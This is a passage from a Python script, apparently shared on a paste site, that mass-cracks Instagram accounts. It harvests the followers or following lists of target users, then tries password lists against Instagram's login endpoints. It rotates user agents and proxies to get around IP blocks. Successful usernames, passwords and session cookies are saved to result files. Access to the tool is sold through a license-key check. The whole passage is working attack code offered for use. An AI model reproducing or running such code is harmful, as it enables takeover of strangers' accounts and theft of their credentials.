  948.                        "X-Requested-With": "XMLHttpRequest",
  949.                        "X-ASBD-ID": "198387",
  950.                        "User-Agent": ua,
  951.                        "X-CSRFToken": p.cookies['csrftoken'],
  952.                        "X-IG-App-ID": "1217981644879628",
  953.                        "Origin": "https://z-p15.www.instagram.com",
  954.                        "Sec-Fetch-Site": "same-origin",
  955.                        "Sec-Fetch-Mode": "cors",
  956.                        "Sec-Fetch-Dest": "empty",
  957.                        "Referer": "https://z-p15.www.instagram.com/accounts/login/",
  958.                        "Accept-Encoding": "gzip, deflate",
  959.                        "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  960.                        }
  961.                 data = {
  962.                       "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{jam}:{pw}",
  963.                       "username":user,
  964.                       "queryParams":"{}",
  965.                       "optIntoOneTap":"false",
  966.                       "stopDeletionNonce":"",
  967.                       "trustedDeviceRecords":"{}"
  968.                       }
  969.                 respon=ses.post("https://z-p15.www.instagram.com/accounts/login/ajax/", headers = head, data = data, proxies = proxy, allow_redirects = False)
  970.                 xc_team=json.loads(respon.text)
  971.                 if "userId" in str(xc_team) or "sessionid" in ses.cookies.get_dict():
  972.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  973.                     print("\r                                       ")
  974.                     adit=f'\rNama      : {nama}\nUsername  : {user}\nPassword  : {pw}\nPengikut  : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-Agent: {uazku()}'
  975.                     pepekXD = nel(adit, style='green')
  976.                     print('\n')
  977.                     cetak(nel(pepekXD,style='',title='\r[green]Account Login Method API V2[white]'))
  978.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  979.                     success.append(user)
  980.                     break
  981.                 elif 'href="https://www.instagram.com/challenge/action/"' in str(xc_team):
  982.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  983.                     print("\r                                       ")
  984.                     adit=f'\rNama      : {nama}\nUsername  : {user}\nPassword  : {pw}\nPengikut  : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-agent: {uazku()}'
  985.                     pepekXD = nel(adit, style='yellow')
  986.                     print('\n')
  987.                     cetak(nel(pepekXD,style='', title='\r[yellow]Account Check Method API V2[white]'))
  988.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  989.                     checkpoint.append(user)
  990.                     break
  991.                 elif 'ip_block' in str(respon.text):
  992.                     sys.stdout.write(f'\r{P}[{M}×{P}] {M}ip.com{P}{loop}/{len(internal)}{P} OK:{H}{len(success)} {N}CP:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  993.                     time.sleep(10)
  994.                     self.crackAPIversi2(user,pas)
  995.                 else:
  996.                     continue
  997.             loop+=1
  998.         except:
  999.             self.crackAPIversi2(user,pas)
  1000.    
  1001.     def crackAJAX(self,user,pas):
  1002.         global loop,success,checkpoint
  1003.         ses = requests.Session()
  1004.         uas = random.choice(UaNgentodMuach)
  1005.         sys.stdout.write(f'\r{P}[{H}#{P}] crack {H}stabil {P}{loop}/{len(internal)}{P} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  1006.         try:
  1007.             for pw in pas:
  1008.                 xxcteam = random.randint(1000000000, 99999999999)
  1009.                 jam = calendar.timegm(current_GMT)
  1010.                 p = ses.get(str(random.choice([
  1011.                       "https://www.secure.instagram.com/accounts/login/",
  1012.                       "https://www.secure.instagram.com/accounts/login/?force_classic_login=&",
  1013.                       "https://www.secure.instagram.com/accounts/login/?force_classic_login&hl=en",
  1014.                       "https://www.secure.instagram.com/accounts/onetap/",
  1015.                       "https://www.secure.instagram.com/accounts/onetap/?next=%2F",
  1016.                       "https://www.secure.instagram.com/accounts/onetap/?next=/"
  1017.                       ])))
  1018.                 head = {
  1019.                       "Host": "www.secure.instagram.com",
  1020.                       "Connection": "keep-alive",
  1021.                       "Content-Length": "318",
  1022.                       "X-IG-WWW-Claim": "0",
  1023.                       "X-Instagram-AJAX": "9080db6b6a51",
  1024.                       "Content-Type": "application/x-www-form-urlencoded",
  1025.                       "Accept": "*/*",
  1026.                       "X-Requested-With": "XMLHttpRequest",
  1027.                       "X-ASBD-ID": "198387",
  1028.                       "User-Agent": uas,
  1029.                       "X-CSRFToken": p.cookies['csrftoken'],
  1030.                       "X-IG-App-ID": "1217981644879628",
  1031.                       "Origin": "https://www.secure.instagram.com",
  1032.                       "Sec-Fetch-Site": "same-origin",
  1033.                       "Sec-Fetch-Mode": "cors",
  1034.                       "Sec-Fetch-Dest": "empty",
  1035.                       "Referer": "https://www.secure.instagram.com/accounts/login/",
  1036.                       "Accept-Encoding": "gzip, deflate",
  1037.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1038.                       }
  1039.                 head2 = {
  1040.                       "Host": "www.secure.instagram.com",
  1041.                       "Connection": "keep-alive",
  1042.                       "Upgrade-Insecure-Requests": "1",
  1043.                       "User-Agent": uas,
  1044.                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1045.                       "dnt": "1",
  1046.                       "X-Requested-With": "mark.via.gp",
  1047.                       "Sec-Fetch-Site": "none",
  1048.                       "Sec-Fetch-Mode": "navigate",
  1049.                       "Sec-Fetch-User": "?1",
  1050.                       "Sec-Fetch-Dest": "document",
  1051.                       "Referer": "https://www.secure.instagram.com/accounts/login/",
  1052.                       "Accept-Encoding": "gzip, deflate",
  1053.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1054.                       }
  1055.                 param = {
  1056.                       "Host": "www.secure.instagram.com",
  1057.                       "Connection": "keep-alive",
  1058.                       "Cache-Control": "max-age=0",
  1059.                       "Upgrade-Insecure-Requests": "1",
  1060.                       "User-Agent": uas,
  1061.                       "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
  1062.                       "X-Requested-With": "mark.via.gp",
  1063.                       "Sec-Fetch-Site": "none",
  1064.                       "Sec-Fetch-Mode": "navigate",
  1065.                       "Sec-Fetch-User": "?1",
  1066.                       "Sec-Fetch-Dest": "document",
  1067.                       "Referer": f"https://www.secure.instagram.com/"+user+"/",
  1068.                       "Accept-Encoding": "gzip, deflate",
  1069.                       "Accept-Language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"
  1070.                       }
  1071.                 data = {
  1072.                       "enc_password": f"#PWD_INSTAGRAM_BROWSER:0:{jam}:{pw}",
  1073.                       "username":user,
  1074.                       "queryParams":"{}",
  1075.                       "optIntoOneTap":"false",
  1076.                       "stopDeletionNonce":"",
  1077.                       "trustedDeviceRecords":"{}"
  1078.                       }
  1079.                 dateku = str(random.choice([param, head2]))
  1080.                 respon=ses.post("https://www.secure.instagram.com/accounts/login/ajax/",headers = head, data = data, allow_redirects = dateku)
  1081.                 xc_team=json.loads(respon.text)
  1082.                 if "userId" in str(xc_team) or "sessionid" in ses.cookies.get_dict():
  1083.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1084.                     coki = ";".join([key+"="+value.replace('"','') for key, value in ses.cookies.get_dict().items()])
  1085.                     print("\r                                       ")
  1086.                     adit=f'\rNama      : {nama}\nUsername  : {user}\nPassword  : {pw}\nPengikut  : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-Agent: {uazku()}\ncookies   : {coki}'
  1087.                     pepekXD = nel(adit, style='green')
  1088.                     print('\n')
  1089.                     cetak(nel(pepekXD,style='',title='\r[green]Account Login Method AJAX[white]'))
  1090.                     open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1091.                     success.append(user)
  1092.                     break
  1093.                 elif 'href="https://www.instagram.com/challenge/action/"' in str(xc_team):
  1094.                     nama,pengikut,mengikut,postingan=self.APIinfo(user)
  1095.                     print("\r                                       ")
  1096.                     adit=f'\rNama      : {nama}\nUsername  : {user}\nPassword  : {pw}\nPengikut  : {pengikut}\nMengikuti : {mengikut}\nPostingan : {postingan}\nUser-agent: {uazku()}'
  1097.                     pepekXD = nel(adit, style='yellow')
  1098.                     print('\n')
  1099.                     cetak(nel(pepekXD,style='', title='\r[yellow]Account Check Method AJAX[white]'))
  1100.                     open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1101.                     checkpoint.append(user)
  1102.                     break
  1103.                 elif 'ip_block' in str(respon.text):
  1104.                     sys.stdout.write(f'\r{P}[{M}#{P}] crack {M}spamIP {P}{loop}/{len(internal)}{P} OK-:{H}{len(success)} {N}CP-:{K}{len(checkpoint)} {P}');sys.stdout.flush()
  1105.                     time.sleep(10)
  1106.                     self.crackAJAX(user,pas)
  1107.  
  1108.                 else:
  1109.                     continue
  1110.             loop+=1
  1111.         except:
  1112.             self.crackAJAX(user,pas)
  1113.    
  1114.     def checkAPI(self,usr,pwd):
  1115.         try:
  1116.             ts = calendar.timegm(current_GMT)
  1117.             xyaaXD = random.randint(1000000000, 99999999999)
  1118.             ses = requests.Session()
  1119.             ts = calendar.timegm(current_GMT)
  1120.             sys.stdout.write(f'\r{P}[{H}#{P}] {H}cheking {N}{usr}{P}');sys.stdout.flush()
  1121.             response = ses.get(f"https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en").text
  1122.             token = re.search('name="csrfmiddlewaretoken" value="(\\w+)"/>', str(response)).group(1)
  1123.             head = {
  1124.                     'Host': 'z-p42.www.instagram.com',
  1125.                     'Connection': 'keep-alive',
  1126.                     'Content-Length': '296',
  1127.                     'Cache-Control': 'max-age=0',
  1128.                     'Upgrade-Insecure-Requests': '1',
  1129.                     'User-Agent': 'Mozilla/5.0 (Linux; Android 10; RMX2185 Build/QP1A.190711.020; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/83.0.4103.106 Mobile Safari/537.36',
  1130.                     'Origin': 'https://z-p42.www.instagram.com',
  1131.                     'Content-Type': 'application/x-www-form-urlencoded',
  1132.                     'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
  1133.                     'dnt': '1',
  1134.                     'X-Requested-With': 'mark.via.gp',
  1135.                     'Sec-Fetch-Site': 'same-origin',
  1136.                     'Sec-Fetch-Mode': 'navigate',
  1137.                     'Sec-Fetch-User': '?1',
  1138.                     'Sec-Fetch-Dest': 'document',
  1139.                     'Referer': 'https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en',
  1140.                     'Accept-Encoding': 'gzip, deflate',
  1141.                     'Accept-Language': 'id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7'
  1142.                     }
  1143.             param={
  1144.                     'csrfmiddlewaretoken': token,
  1145.                     'username': usr,
  1146.                     'enc_password': f'#PWD_INSTAGRAM_BROWSER:0:{ts}:{pwd}'
  1147.                     }
  1148.             respon=ses.post("https://z-p42.www.instagram.com/accounts/login/?force_classic_login&hl=en", headers = head, data = param, allow_redirects=True)
  1149.             if "userId" in str(respon.text) or "sessionid" in ses.cookies.get_dict():
  1150.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  1151.                 print("OK")
  1152.                 print(f"{H}{usr} {P}| {H}{pwd}{P}\n")
  1153.                 open(f"result/success-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1154.             elif 'href="https://www.instagram.com/challenge/action/"' in str(respon.text):
  1155.                 nama,pengikut,mengikut,postingan=self.APIinfo(usr)
  1156.                 print("CP")
  1157.                 print(f"{K}{usr} {P}| {K}{pwd}{P}\n")
  1158.                 open(f"result/checkpoint-{day}.txt","a").write(f'{user}|{pw}|{pengikut}|{mengikut}\n')
  1159.             elif 'ip_block' in str(respon.text):
  1160.                 sys.stdout.write(f'\r {P}[{M}#{P}] {M}spamIP {N}{len(usr)}{P}');sys.stdout.flush()
  1161.                 time.sleep(5)
  1162.                 self.checkAPI(usr, pwd)
  1163.         except:
  1164.             self.checkAPI(usr,pwd)
  1165.  
  1166.     def menu(self):
  1167.         self.logo()
  1168.         c=input(f'{P}[{H}+{P}] pilih menu : {H}')
  1169.         if c=='':
  1170.             self.menu()
  1171.        
  1172.         elif c in ('1','01'):
  1173.             m=int(input(f'{P}[{H}+{P}] masukan jumlah target : '))
  1174.             for i in range(m):
  1175.                 i+1
  1176.                 i+=1
  1177.                 nama=input(f'{P}[{H}+{P}] masukan nama {B}{len(internal)}{P} : ')
  1178.                 name=self.searchAPI(self.cookie,nama)
  1179.             self.passwordAPI(name)
  1180.            
  1181.         elif c in ('2','02'):
  1182.             mas=input(f"{P}[{H}+{P}] apakah anda ingin crack massal? {P}({H}y{P}/{M}t{P}) : ")
  1183.             if mas in ['y','Y']:
  1184.                 masal(self)
  1185.             elif mas in ['t','T']:
  1186.                 massal(self)
  1187.             elif mas in ['']:
  1188.                 print(f"{P}[{M}!{P}] jangan kosong!")
  1189.                 exit()
  1190.  
  1191.         elif c in ('3','03'):
  1192.             mas=input(f"{P}[{H}+{P}] apakah anda ingin crack massal? Y/t : {H}")
  1193.             if mas in ['y','Y']:
  1194.                 mengi(self)
  1195.             elif mas in ['t','T']:
  1196.                 meng(self)
  1197.             elif mas in ['']:
  1198.                 print(f"{P}[{B}?{P}] jangan kosong!")
  1199.                 exit()
  1200.  
  1201.  
  1202.         elif c in ('7','07'):
  1203.             print(f'{P}[{M}×{P}] menu off bang')
  1204.             time.sleep(4)
  1205.             for i in os.listdir('result'):
  1206.                 print(f'{P}[{B}+{P}] {i}')
  1207.             c=input(f'{P}[{B}?{P}] masukan nama file : {H}')
  1208.             g=open("result/%s"%(c)).read().splitlines()
  1209.             jalan(f'\n{P}[{B}?{P}] total result di temukan : {H}{len(g)}{P}')
  1210.             prints(Panel(f"{P2}sedang mengecek status akun harap tunggu sebentar",width=80,padding=(0,12),style=f"#FFFFFF"))
  1211.             for s in g:
  1212.                 usr=s.split("|")[0]
  1213.                 pwd=s.split("|")[1]
  1214.                 self.checkAPI(usr,pwd)
  1215.             jalan(f"{P}[{H}+{P}] proses check akun selesai...")
  1216.             exit()
  1217.  
  1218.         elif c in ('8','08'):
  1219.             time.sleep(4)
  1220.             for i in os.listdir('result'):
  1221.                 print(f'{P}[{H}+{P}] {i}')
  1222.             c=input(f'{P}[{H}+{P}] masukan nama file : ')
  1223.             g=open("result/%s"%(c)).read().splitlines()
  1224.             xx=c.split("-")
  1225.             xc=xx[0]
  1226.             for s in g:
  1227.                 usr=s.split("|")[0]
  1228.                 pwd=s.split("|")[1]
  1229.                 fol=s.split("|")[2]
  1230.                 ful=s.split("|")[3]
  1231.                 if xc=="checkpoint":
  1232.                     print(f"""
  1233. {P}[{K}+{P}] {K}CHECK{P}
  1234. {P}|{P}
  1235. {P}├╴>{P} username  : {K}{usr}{C}
  1236. {P}├╴>{P} password  : {K}{pwd}{C}
  1237. {P}├╴>{P} followers : {K}{fol}{C}
  1238. {P}├╴>{P} following : {K}{ful}{C}
  1239.                     """);sleep(0.05)
  1240.                 else:
  1241.                     print(f"""
  1242. {P}[{H}+{P}] {H}LIVE{P}
  1243. {P}|{P}
  1244. {P}├╴>{P} username  : {H}{usr}{C}
  1245. {P}├╴>{P} password  : {H}{pwd}{C}
  1246. {P}├╴>{P} followers : {H}{fol}{C}
  1247. {P}├╴>{P} following : {H}{ful}{C}
  1248.                     """);sleep(0.05)
  1249.        
  1250.         elif c in ('s6','06s'):
  1251.             print(f'{P}[{M}!{P}] bot auto unfollow sedang dalam proses maintenance')
  1252.             time.sleep(2)
  1253.             self.menu()
  1254.  
  1255.         elif c in ('s7','0s7'):
  1256.             self.HapusLisen()
  1257.            
  1258.         elif c in ('0','00'):
  1259.             self.Exit()
  1260.  
  1261.         else:
  1262.             print(f'{P}')
  1263.             prints(Panel(f"""{warna_putih}menu ini khusus penguna {warna_hijau}premium{warna_putih} user {warna_kuning}trial{warna_putih} di larang memakai menu ini"""))
  1264.         exit()
  1265. def login_lisen():
  1266.     banner()
  1267.     print(f' KETIK open UNTUK MEMBELI LISENSI')
  1268.     sa = input(f'{B}•{P} Masukan Lisensi : ')
  1269.     loading()  
  1270.     if sa in ['open','Open','OPEN']:
  1271.         os.system('xdg-open http://wa.me/6289669084331')
  1272.         exit()
  1273.     elif sa in ['']:
  1274.         print(f'{P} jangan kosong')
  1275.     elif sa in ['GOWPZNCRDSXJGFJ']:
  1276.         print(f'{P}[{H}√{P}] Lisensi Login')
  1277.         ggwp17()
  1278.     else:
  1279.         print(f'{M}[×] {P}Lisensi Tidak Login')
  1280. def tlisensi():
  1281.     lu()
  1282.     cetak(nel('[!] Lisensi Tidak Valid\n[!] Silahkan Ketik [green]"Buy"[/green] Untuk membeli lisensi'))
  1283.     time.sleep(2)
  1284.     lisen=input('[•] Masukan Lisensi : ')
  1285.     if lisen in ['']:
  1286.      print(f'{M}[!] JANGAN KOSONG{N}');sleep(1)
  1287.      tlisensi()
  1288.     if lisen in ['buy','Buy']:
  1289.      os.system('xdg-open https://wa.me/+6281221523195?text=Bang+beli+lisensi+IG+nya+dong');exit()
  1290.     loadinglisen()
  1291.     open('.lisen.txt','w').write(lisen)
  1292.     lisensi()
  1293.    
  1294. def lisensi():
  1295.  try:
  1296.   cek=open('.lisen.txt').read()
  1297.   lisensikuni.append(cek)
  1298.  except:
  1299.   tlisensi()
  1300.  ses=requests.Session()
  1301.  res=ses.get('https://app.cryptolens.io/api/key/Activate?token=WyIyODk1MzkwMyIsImVUdmdBNEZpL0RyVEFReFFwVTBhMzhaelBIaHZJbHhWQkZSSUdHRVoiXQ==&ProductId=17514&Key='+lisensikuni[0]).json()
  1302.  status=res['licenseKey']['key']
  1303.  if status ==cek:
  1304.   li()
  1305.   cetak(nel('\t[green] SELAMAT LISENSI ANDA VALID[/green]'))
  1306.   time.sleep(2)
  1307.   lisensiku.append("sukses")
  1308.   ggwp17()
  1309.  elif status ==KeyError:
  1310.   os.system('rm .lisen.txt')
  1311.  else:
  1312.   tlisensi()
  1313.  
  1314. def mengi(self):
  1315.             try:
  1316.                 menudump.append('mengikuti')
  1317.                 m=int(input(f'{P}[{H}+{P}] masukan jumlah target : '))
  1318.             except:m=1
  1319.             for t in range(m):
  1320.                 t +=1
  1321.                 nama=input(f'{P}[{H}+{P}] masukan username : {H}')
  1322.                 id=self.idAPI(self.cookie,nama)
  1323.                 info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  1324.             self.passwordAPI(info)
  1325.  
  1326. def meng(self):
  1327.         menudump.append('mengikuti')
  1328.         nama=input(f'{P}[{M}+{P}] masukan username : ')
  1329.         id=self.idAPI(self.cookie,nama)
  1330.         info=self.ifoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/following/?count=100000',id)
  1331.         self.passwordAPI(info)
  1332.  
  1333. def masal(self):
  1334.             try:
  1335.                 menudump.append('pengikut')
  1336.                 m=int(input(f'{P}[{H}+{P}] masukan jumlah target : {H}'))
  1337.             except:m=1
  1338.             for t in range(m):
  1339.                 t +=1
  1340.                 nama=input(f'{P}[{B}?{P}] masukan username : {H}')
  1341.                 id=self.idAPI(self.cookie,nama)
  1342.                 info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  1343.             self.passwordAPI(info)
  1344.  
  1345. def massal(self):
  1346.             menudump.append('pengikut')
  1347.             m=input(f'{P}[{H}+{P}] masukan username : ')
  1348.             id=self.idAPI(self.cookie,m)
  1349.             info=self.infoAPI(self.cookie,'https://i.instagram.com/api/v1/friendships/%s/followers/?count=100000',id)
  1350.             self.passwordAPI(info)
  1351.  
  1352. day=datetime.now().strftime("%d-%b-%Y")
  1353. nyMnD = 5
  1354. nyMxD = 10
  1355. current_GMT = time.gmtime(time.time())
  1356.  
  1357.  
  1358. if __name__=='__main__':
  1359.     lisensiku.append("sukses")
  1360.     try:
  1361.         with requests.Session() as ses:
  1362.              ko = ses.get('https://pastebin.com/raw/0cWckNrU').json()
  1363.              HARIS.update(ko)
  1364.              ki = ses.get('https://pastebin.com/raw/9GybVKaq').json()
  1365.              HARIS1.update(ki)
  1366.              os.system("git pull")
  1367.              login_lisen()
  1368.     except requests.exceptions.ConnectionError:
  1369.         print(f'{P}[{M}!{P}] koneksi internet anda bermasalah')
  1370.         time.sleep(0.03)
  1371.         exit()
  1372.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement